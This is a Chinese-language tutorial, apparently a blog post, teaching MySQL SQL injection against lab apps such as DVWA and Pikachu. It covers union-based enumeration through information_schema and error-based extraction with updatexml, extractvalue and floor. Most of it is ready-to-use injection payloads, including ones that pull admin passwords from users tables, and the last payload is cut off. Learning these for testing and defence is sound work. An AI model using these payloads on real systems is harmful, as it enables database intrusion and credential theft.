SQL注入漏洞--2
基于union的信息获取
union联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,passsword from user where id =1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致!
可在主查询中使用 order by 数字;猜测字段数
select version();//取得数据库版本
select database();//取得当前的数据库
select user();//取得当前登录的用户
通过利用内置函数,获取操作系统信息:
union select @@global.version_compile_os from mysql.user;
测试连接数据库权限 1' and ord(mid(user(),1,1))=114 -- 正常说明是root权限;
information_schema
在MySQL中,自带information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
schemata表:提供了当前MySQL实例中所有数据库的信息。是show databases的结果取之此表。
tables表:提供了关于数据库中的表的信息(包括试图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaneme.tablename的结果取之此表。
查询mysql数据库,所有数据库名字:
这里利用mysql默认的虚拟数据库infromation_scehma,该数据库存储了Mysql所有数据库和表以及字段的信息
1' and 1=2 union select 1,schema_name from information_schema.schemata --
爆出所有的数据库
在information_schema这个虚拟库里面有一张表是SCHEMATA 这张表里面这个字段 SCHEMA_NAME
里面存放当前所以数据库的名称
注入查询:
1' and 1=2 union select 1,schema_name from information_schema.schemata --
爆出所有的表名
在information_schema这个虚拟库里面有一张表是TABLES 这张表里面有 数据库名 table_schema 和表名 table_name 这两个字段
里面存放当前数据库中所有表的名称
注入查询:
1' and 1=2 union select table_schema,table_name from information_schema.tables --
直接爆出表名和表名里面的字段,再根据自己的注入是哪个表名来确认
爆出所有的字段
在information_schema这个虚拟库里面有一张表是COLUMNS 这张表里面 数据库名 table_schema 和表名 table_name 还有字段名column_name 这三个字段
此测试是dvwa上面的只有2个列所以查询只能是select 1,2 不能select 1,2,3...
1' and 1=2 union select table_schema,table_name from information_schema.columns --1' and 1=2 union select column_name,table_name from information_schema.columns --1' and 1=2 union select column_name from information_schema.columns where
table_name='users' and table_schema='dvwa' -- (perfect)
MYSQL 这个数据库存下的user表下的,host,user,password 字段存放了数据库的所有主机地址、帐号和密码
常用的函数
1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统
database(),user(),version(), concat(), group_concat(),hex(),unhex() Load_file()
Unhex(hex(user()) into outfile
基于函数报错的信息获取
技巧思路:
在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发送错误时会输出在前端。
三个常用的用来报错的函数:
updatexml():函数是MySQL对XML文档数据进行查询和修改的xpath函数。
extractvalue():函数也是MySQL对XML文档数据进行查询的xpath函数。
floor():MySQL中用来取整的函数。
updatexml()
updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:UPDATEXML(xml_document,XPathstring,new_value)
第一个参数:fiedname是String格式,为表中的字段名。
第二个参数:XPathstring(XPath格式的字符串)。
第三个参数:new_value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则会发生错误
insert注入(注册信息使用函数)
insert 注入,就是前端注册的信息最终会被后台通过 insert 这个操作插入数据库,后台在接受前端的注册数据时没有做防 SQL 注入的处理,导致前端的输入可以直接拼接 SQL到后端的 insert 相关内容中,导致了 insert 注入。 在注册页面填写注册信息的时候抓包并寻找注入点输入payload例如用户名等 基本格式 oldboy'or updatexml(1,concat(0x7e,(命令)),0) or' or的作用是将后文变成一条语句 实战
爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同 ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
update注入(用于用户登陆端修改用户信息)
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过 Burp 抓包在用户名输入相关 payload
' or updatexml(0,concat(0x7e,(database())),0) or'
delet注入(删除相关)
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过 Brup Suite 抓包,对数据包相关 delete 参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
extractvalue()
核心原理是一样的,也是对 XML
extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串
语法:ExtractValue(xml_document, XPathstring)
第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
第二个参数: XPathstring,XPath 格式的字符串
Xpath定位必须有效,否则会发生错误。
同样在字符型漏洞中实验,构造以下 payload
' and extractvalue(1, concat(0x7e,database())) #
它跟 updatexml 使用起来效果是一样的
floor()
向下取整。如果要用 floor() 构成报错,必须满足下面的条件
运算中有 count
运算中有 group by
运算中有 rand
' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x
from information_schema.tables group by x)a)#
上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错
我们可以把 version() 的表达式替换成别的表达式
' and (select 2 from (select count(*), concat((select password from users
where username='admin' limit 0,1), floor(rand(0) * 2))x f
SQL注入漏洞--2相关推荐
- 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...
刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...
- SQL注入漏洞的检测与防范技术
提 要 本文从SQL注入的基本概念和注入原理入手,分析总结了SQL注入漏洞的检测及其防范技术措施. 关键词 SQL注入漏洞 检测 防范技术 引 言 近几年来随着计算机网络和WEB技术的飞速 ...
- Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)
漏洞版本: mod_accounting 0.5 漏洞描述: BUGTRAQ ID: 62677 CVE ID: CVE-2013-5697mod_accounting是Apache 1.3.x上的流 ...
- guestbook.php注入,TinyGuestBook 'sign.php'多个SQL注入漏洞
发布日期:2012-09-23 更新日期:2012-10-04 受影响系统: TinyGuestBook TinyGuestBook 描述: ----------------------------- ...
- thinkphp日志泄漏漏洞_ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法...
ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件 根据官方文档对"防止SQL注入" ...
- Backtrack5 SQL注入漏洞探测
SQLMAP,它是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL. SQLMAP ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- WordPress ProPlayer插件‘id’参数SQL注入漏洞
漏洞名称: WordPress ProPlayer插件'id'参数SQL注入漏洞 CNNVD编号: CNNVD-201305-468 发布时间: 2013-05-22 更新时间: 2013-05-22 ...
- wordpress漏洞_多个WordPress插件SQL注入漏洞分析
背景 SQL注入漏洞是用来构建SQL查询的用户输入未经适当处理导致的漏洞.比如: 图1: 使用WordPress的SQL查询示例 从上面的代码来看,其中存在SQL注入攻击漏洞,因为从$_GET中提取的 ...
- php网站漏洞检测对sql注入漏洞防护
近日,我们SINE安全对metinfo进行网站安全检测发现,metinfo米拓建站系统存在高危的sql注入漏洞,攻击者可以利用该漏洞对网站的代码进行sql注入攻击,伪造恶意的sql非法语句,对网站的数 ...
最新文章
- Codeforces Round #712 Div.2(A ~ F) 超高质量题解(每日训练 Day.15 )
- ural(Timus) 1463. Happiness to People!
- Spring(十二)之JDBC框架
- Node.js中的常用工具类util
- [独库骑行之我们穿过草原]巴音布鲁克大草原
- /usr/lib/sudo/sudoers.so must be only be writable by owner
- Honeycomb——BFS
- 深入jvm虚拟机第三版源码_深入JVM虚拟机,阿里架构师直言,这份文档真的是JVM最深解读...
- 2021快手奢侈品行业数据价值报告
- 95-170-040-源码-Time-Time简介
- python3内置函数_python3--内置函数
- hane WIN nfs配置
- MAC版WORD使用EndNote之后每次打开都显示域代码解决方法
- plc与计算机通信方式,PLC通信方式介绍
- Ubuntu12.04 Thinkpad T410i 安装记录 持续更新...
- 转载:《星际争霸》星际争霸战略战术的发展和创新
- CSS中:margin和padding的区别 margin:auto与margin: 0 auto区别
- 蓝桥杯 ALGO-131 Beaver's Calculator
- Painter X Liquid Ink(液体墨水)画笔
- 整理一些简历制作、工作、面试、招聘网站资源分享
热门文章
- html的外部调用函数,如何在HTML中调用外部JavaScript函数
- python判断工作日,节假日
- FFmpeg — 视频剪辑、动静水印、转场特效[gl-transitions]
- 使用segue进行页面跳转
- ios Segue传值
- dell计算机的硬盘如何分区,dell电脑硬盘分区_dell电脑如何分区
- WebService调用第三方服务(中英文翻译)
- 使用WebService获取第三方服务数据
- 我的世界java版怎么打开游戏菜单_我的世界游戏界面设置方法
- HEVC与AVC的区别与联系(十二)